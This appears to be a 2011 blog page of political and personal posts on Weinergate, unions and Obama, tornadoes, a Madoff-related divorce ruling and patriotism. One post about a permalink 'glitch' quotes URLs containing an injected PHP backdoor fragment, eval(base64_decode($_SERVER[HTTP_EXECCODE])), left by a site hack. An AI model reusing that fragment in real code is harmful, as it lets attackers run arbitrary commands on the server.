Well, that was fun
[NOTE: I’m bumping this up so it stays at the top for today.]
Today I had a lovely experience. When I came to the blog I discovered it had been “temporarily suspended.”
That word “temporarily” was all that stood between me and meltdown. It turned out that the problem was very serious although fairly easily remedied. It involved a hacking—but before paranoia reigns, let me just say it was almost undoubtedly not targeted at me or my blog specifically.
Nevertheless, very nerve-wracking while it lasted. I believe all is well now, and should be for an indefinite time.
These are thrills and chills that I can do without, thank you very much.
Unions: some thanks Obama gets
Is it really possible that, after all he’s done for them, unions are angry at Obama?
Yes, according to AFL-CIO President Richard Trumka:
…union members are frustrated by “wasted energy” in Washington on issues that he said don’t help workers: “hysteria” about the federal deficit, a White House review of regulations and Obama’s support for free-trade agreements.
I can’t imagine that unions will actually end up supporting Obama’s opponent, so this may be so much hot air. I also can’t imagine they really think they’ll get a viable presidential candidate on either side who will be friendlier to them than the extremely pro-union Obama.
There are other rumblings of trouble for Obama that seem more serious to me, or perhaps that’s just wishful thinking on my part. Nile Gardiner points out in his Telegraph blog that the recent economic news is very bad for Obama, and his polls are sliding once again after a small post-Bin-Laden bump. Even the NY Times warns that no US president has been re-elected with an unemployment rate above 7.2 on election day.
That reminds me once again—although I don’t think I needed reminding—that what happens in an election tends to be a snapshot reflecting recent events, and it’s a long looong way to November 8, 2011.
[ADDENDUM: Lech Walesa isn’t keen on Obama either. But unfortunately, he doesn’t get a vote—except for voting with his feet and declining to meet with the president.]
What do women want?
Not, apparently, photos of men’s genitalia.
Go figure.
Tornado in Springfield, MA
No part of the US is immune to tornadoes, although the well-known “Tornado Alley” in the midwest has by far the largest number in this country and the world. But New England has some, too, and yesterday Springfield, Massachusetts—a large town on the banks of the Connecticut River just east of where the Berkshires begin—had its turn.
If you want to feel insignificant and vulnerable, or if you just want to see the force of a very powerful medium-sized tornado, take a look at this video (hat tip, commenter “rickl;” for best viewing, watch full screen). Note what happens to the river:
Somehow, it reminds me of this scene:
Fixing the blog, and guilty TV pleasures
Last night while my wonderful all-volunteer tech-support army of one worked on fixing the glitch in my blog, I sweated it out.
I’d been there before. Periodically, during the six years I’ve written this blog, something will go wrong that requires a major overhaul. Each time, even though all the content of the blog is supposedly stored by the host and then backed up again by my trusty tech-person, I get nervous. Very very nervous.
I am technologically inept. It has nothing to do with intelligence or lack thereof. We all have our strengths, and anything to do with tech stuff—computers, cell phones, the innards of cars—is not mine. In fact, I distrust the entire enterprise, although I love the benefits of using the technology. But it all seems rather magical and mysterious and opaque to me.
So while the blog was being worked on, and was down for about an hour (I tried to go to it once before I realized this, and got the message “fatal error,” which did nothing for my equanimity) I had to distract myself. What to do? I fastened on one of my heretofore secret guilty pleasures, the TV reality show “The Bachelorette,” on Hulu.
I know, I know. You’re almost as shocked as if I’d sent crotch shots on Twitter to a young admirer. But really, should I be judged so very harshly? It’s my version of a soap opera, and it has the added benefit of being real. Sort of.
What’s the harm in watching a mindless but entertaining show that follows a bunch of telegenic young people going to exotic places and having fun, plus the rivalry and thrills (engineered or not, fake or real) of the competitive battle for a young woman’s—ahem—heart?
All I can say is that it took my mind off my blog and its vulnerability for a full hour and a half, all that was needed. When I got the all-clear call, the roses were about to be given out, and my blog had landed safely.
More on not caring about Weinergate: morality in private and public life
To expand a bit on just why I don’t care about Weinergate at this point: the alleged offense is in the realm of a minor peccadillo, distasteful and stupid, but only of real interest to Weiner’s wife, family, and friends.
Others may disagree, which raises the interesting question of whether, as some commenters have indicated, private morality and public morality are inextricably linked. I’ve thought about this question many times before, most particularly during the Clinton impeachment, and my answer is “sometimes yes, sometimes no.” If you think that’s a squishy answer, tough; I think it’s a realistic answer based on careful observation of human beings.
Would I think more highly of Weiner if he turned out to be guilty of sending a crotch picture to some young woman in Seattle? Of course not. I would say I would think less highly of him if in fact I had ever previously thought of him at all. But I hadn’t ever heard of him until he was thrust (to coin a phrase) into the glare of notoriety by this incident.
But people do compartmentalize their behavior all the time, acting very differently in the different roles they play in life. Ever heard of people, for example, who are angry and nasty and even cruel at home but pleasant and decent to everyone they meet in public life? Or dishonest at work but honest in private? Or vice versa? I have.
Of course, in many cases dishonesty and smarminess is general, and people’s behavior is congruent in all the different situations they encounter. I also think that dishonesty and smarminess are endemic in the lives of political figures. That’s not to say that there are no honest men—and women—in politics. But really honest people don’t tend to be drawn to that profession, and if they are, I’m not sure how long they tend to stay that way; the opportunities to be compromised are legion and the temptations great.
Which category Weiner fits into I do not know. But even if guilty of the offense, that act is nothing like a rape or sexual harassment of an employee (and yes, I would feel that way no matter what his political persuasion). What I am far more concerned about is his behavior in his role as a public servant. And yes, sometimes a person’s behavior can be fair in one arena and foul in the other.
But sorry, I just can’t get riled up about sifting through all the intricacies of how to post photos on Twitter in order to decide whether he’s guilty or not. If I were in his district, I wouldn’t have voted for Weiner previously, and I wouldn’t vote for him now. And yes, of course the media is acting hypocritically here; if he were a Republican, they’d be out for blood. So, what else is new?
Glitch in the comments and permalinks
[UPDATE 5/31/11 at 11:50 PM: The glitch has been corrected, so the problem should have disappeared. It took quite a bit of doing!]
[NOTE: This post has been bumped up for greater visibility. New posts can be found below.]
I will try to fix this ASAP. But I just noticed that there’s a glitch if you click on the comments tabs or the permalinks here. For some reason a long string of extra stuff has been added to the URLs, and when you click on either the comments tab or the permalink for each post, you get a message that reads:
400 Bad Request—Invalid request.
For example, if you click on the comments tab for the top post on May 30, 2011, and then look at the address bar, it will say:
http://neoneocon.com/2011/05/30/for-memorial-day-on-nationalism-and-patriotism/%&%28%7B$%7Beval%28base64_decode%28$_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D|.+%29&%/#comments.
This of course is incorrect. But if you delete everything between the slash after the last word of the title of the post (in this case it would be patriotism/) and the phrase at the end (#comments) you will get the following, and it should take you to the right place:
http://neoneocon.com/2011/05/30/for-memorial-day-on-nationalism-and-patriotism/#comments
That means you would have deleted the following:
%&%28%7B$%7Beval%28base64_decode%28$_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D|.+%29&%/
It’s not that hard to do, but it’s still a pain in the neck. But as I said, I’ll be working on fixing it.
[UPDATE 5/31/11 1:10 PM: Still working on it. It’s a bit complicated and might not be resolved for a day or so, so please bear with me till then and work around it by following the above instructions. Sorry for the problem, but it almost certainly will be fixed pretty soon. I will keep you updated.]
Simkin v Blank: when is a property settlement not final?
The decision of the New York appellate court in the post-divorce lawsuit of Steven Simkin and Laura Blank is a lulu.
The well-heeled couple were married thirty-three years and divorced in 2006, with a property settlement that involved a complex series of transactions, juggling several properties, autos, accounts, and cash. One of the assets the couple valued at about 5.4 million dollars at the time was an account with Bernard Madoff, although that only constituted a little less than a third of their estate.
We all know how the Madoff investment turned out. But at the time it seemed like a good deal. Now the ex-husband, who retained the major portion of the Madoff account in exchange for the wife giving up certain other things, has sued to recoup some of the assets she got in the divorce as part of the deal because he says that no such account ever existed (it was a “mutual mistake”). The majority of the court agreed with him in a close 3-2 decision.
That went against the time-honored ruling that property settlements in divorce are final (custody and child support arrangements, on the other hand, can be re-opened by either party as long as the child is a minor and there are changed circumstances). Financial investments are inherently risky, and the only relevant value they have is the value at the time of the settlement, not what happens afterward, whether bad or good. The decision also has the potential for “destabilizing all types of contracts struck with the fraud victims,” not a good idea either.
The ruling in Simkin v Blank is not a man vs. woman thing; the results would be the same if the sexes were reversed, and the results would be equally stupid. You can read the entire judgment here if you like. I’m impressed with the well-reasoned dissent, which states, among other things:
Instead of enforcing the plain language of the agreement between the parties, the majority relies on the doctrine of “mutual mistake” to rewrite it. However, even if one accepts that mutual mistake is the appropriate analysis, the complaint fails. It fails first because the alleged mutual mistake does not involve a fundamental assumption of the contract. It further fails because the alleged mistake did not exist at the time the parties entered into their agreement. Moreover, the majority’s approach undermines decades of established precedent favoring finality in divorce cases. Thus, the conclusion the majority reaches, not only fails to follow precedent, but is truly “divorced” from reality…
Under the settled doctrine of mutual mistake, the alleged mistake must exist at the time the parties executed their agreement…The amended complaint repeatedly identifies the mistake to be that the parties thought they had an investment account [with Madoff] worth $5.4 million, when it was actually nonexistent. However, this allegation clearly conflicts with the allegation in the amended complaint that Steven withdrew actual money from this “nonexistent” account at the same time in 2006 to pay Laura. Thus, even looking at the amended complaint in isolation (i.e., without the agreement), plaintiff has failed to plead a mutual mistake that existed at the time the parties entered into their contract…Because Steven received significant value in exchange for the payment of $6.25 million to Laura, his retention of the Madoff account and subsequent losses render this case no different than the legion of cases denying a spouse’s request to open up a divorce settlement where the final value of an asset was not what the parties believed at the time of the divorce…
They say hard cases make bad law. I’m not completely certain this is a hard case, but if the appellate ruling were to stand, it would certainly be a bad law.
Weinergate fatigue
You may have noticed the enormous blogosphere brouhaha known as Weinergate (see also this).
Or then again—if you’re lucky and have a life—maybe you haven’t. But as a blogger, it’s my sworn duty to pay attention to these things.
And yet I find I can’t. Simply put, I just don’t care about Weinergate.
I don’t care if Weiner is having an affair with someone and sent her a photo of his clothed genitalia. And I don’t much care if he’s hasn’t done either of these things, and he’s been hacked and attacked on Twitter.
I’m sure Weiner cares, and I’m sure his wife cares. But the only thing that is of moderate interest to me is the fact that a significant portion of the right side of the blogosphere is so firmly convinced that Weiner (a man of the liberal persuasion) is at fault here that almost no amount of proof could convince them otherwise. And I am just as firmly convinced that, if the parties were reversed, it would be the left side of the blogosphere doing the same thing, and that it would be an even bigger story in the MSM.
And I’m also moderately certain that part of the attraction to the story is the Congressman’s last name, plus the fact that the whole thing occurred on Twitter, a word that seems to bring to mind a combination of “titter,” “twit,” and “titillate.”
I am also aware that politicians are unusually susceptible to the seductions of seduction coupled with power. But I have come to the point of not caring, unless (and the following list is not necessarily all-inclusive, but it’s all I can think of at the moment) (a) the act involved is with an employee and constitutes some sort of abuse of power; and/or (b) it is accompanied by coercion or violence, as with the allegations about Strauss-Kahn (remember him?); and/or (c) the recipient of the attentions is underage; and/or (d) the perpetrator is a crusader against the acts in question (especially if such acts are illegal), such as Eliot Spitzer using call girls.
A parenthetical note: before mentioning Weiner’s wife, I checked to make sure that he was in fact married. Sure enough, he is: his spouse Huma Abedin is an aide to Hillary Clinton.
I had a dim memory of reading about this person earlier and sure enough, when I checked, I found that there had been a moderate and essentially stupid flurry in the anti-Hillary blogosphere some time back, featuring allegations that Huma and Hillary were having a lesbian affair (here’s a much more positive article about Huma that gives some background on her life but doesn’t mention the rumors).
When Huma and Weiner were married back in July of 2010, that pretty much put in end to the whispering campaign. Officiating at the ceremony was none other than Bill Clinton. Make of that what you will, but the Yeshiva World had some fun with it, giving their coverage the headline, “Christian President Marries Jewish Congressman to Moslem Political Aide on Shabbos.”
The NY Daily News quoted Weiner on the subject of his wedding and the end of his status as a single man:
Weiner, a longtime bachelor linked to several local beauties, said last week that he’s ready to leave his single days behind.
“I’m over the moon,” he said.
And why wouldn’t he be? Here they are on their wedding day:
For Memorial Day: on nationalism and patriotism
The story “The Man Without a Country” used to be standard reading matter for seventh graders. In fact, it was the first “real” book—as opposed to those tedious Dick and Jane readers—that I ever was assigned to read in school. As such it was exciting, since it dealt with an actual story with some actual drama to it. It struck me as terribly sad—and unfair, too—that Philip Nolan was forced to wander the world, exiled, for one moment of cursing the United States. “The Man Without a Country” was the sort of paean to patriotism that I would guess is rarely or never assigned nowadays to students.
Patriotism has gotten a very bad name during the last few decades. I think part of this feeling began (at least in this country), like so many things, with the Vietnam era. But patriotism and nationalism seem to have been rejected by a large segment of Europeans even earlier, as a result of the devastation both sentiments were seen to have wrought during WWI and WWII. Of course, WWII in Europe was a result mainly of German nationalism run amok, but it seemed to have given nationalism as a whole a very bad name.
Here’s author Thomas Mann on the subject, writing in 1947 in the introduction to the American edition of Herman Hesse’s Demian:
If today, when national individualism lies dying, when no single problem can any longer be solved from a purely national point of view, when everything connected with the “fatherland” has become stifling provincialism and no spirit that does not represent the European tradition as a whole any longer merits consideration…
A strong statement of the post-WWII idea of nationalism as a dangerous force, mercifully dead or dying, to be replaced (hopefully) by a pan-national (or, rather, anational) Europeanism. Mann was a German exile from his own country, who had learned to his bitter regret the excesses to which unbridled and amoral nationalism can lead. His was an understandable and common response, one that helped lead to the formation of the EU. The nationalism of the US is seen by those who agree with him as a relic of those dangerous days of nationalism gone mad without any curb of morality or consideration for others.
But the pendulum is swinging back. The US is not Nazi Germany, however much the far left may try to make that analogy. And, in fact, that is one of the reasons they try so hard to make that particular analogy—because Nazi Germany was one of the very best examples of the dangers of unbridled and amoral nationalism.
But, on this Memorial Day, I want to say there’s a place for nationalism, and for love of country. Not a nationalism that ignores morality, but one that embraces it and strives for it, keeping in mind that—human nature being what it is—no nation on earth can be perfect or anywhere near perfect. The US is far from perfect, but it is a good country nevertheless, striving to be better.
So, I’ll echo the verse that figured so prominently in “The Man Without a Country,” and say (corny, but true): …this is my own, my native land. And I’ll also echo Francis Scott Key and add: …the star-spangled banner, O long may it wave, O’er the land of the free and the home of the brave.
[NOTE: This is a slightly edited version of an older post.]
Orphans of the storm
The devastating tornado in Joplin was especially devastating for a number of children who have been orphaned by it.
The term “orphan” seems almost like an anachronism, something that was far more common in the past. And yet children are still orphaned, and when it happens it’s one of the most dreadful experiences a child can have:
“The trauma is deep. The wound is deep. Being orphaned is what we call a forever loss,” Dr. Jane Aronson, Chief Executive of Worldwide Orphans Foundation, said on Friday.
In the case of the Joplin orphans, relatives and others have stepped up to try as best they can to carry on for the parents who have died. Two who are described in the article are a 21-year-old sister who has taken on her younger siblings as her responsibility, and an ex-husband who is not the father of the surviving child but who is caring for him anyway.
It will be quite a task, although not an impossible one. Here’s the child, five-year old Garrett LeClere, speaking:
“I feel sorry for my parents,” he said. “They wasted their lives saving me.”
There was room enough in the family bathtub for only Garrett and his sister to weather the storm in Phil Campbell. The boy remembers the tub spinning and being lifted before he landed hard 200 yards from his leveled home.
“I heard myself scream really loud. The hurt was really painful,” he said.
I believe that no such sacrifices are wasted. And I hope Garrett will grow up to feel that way about his parents, too.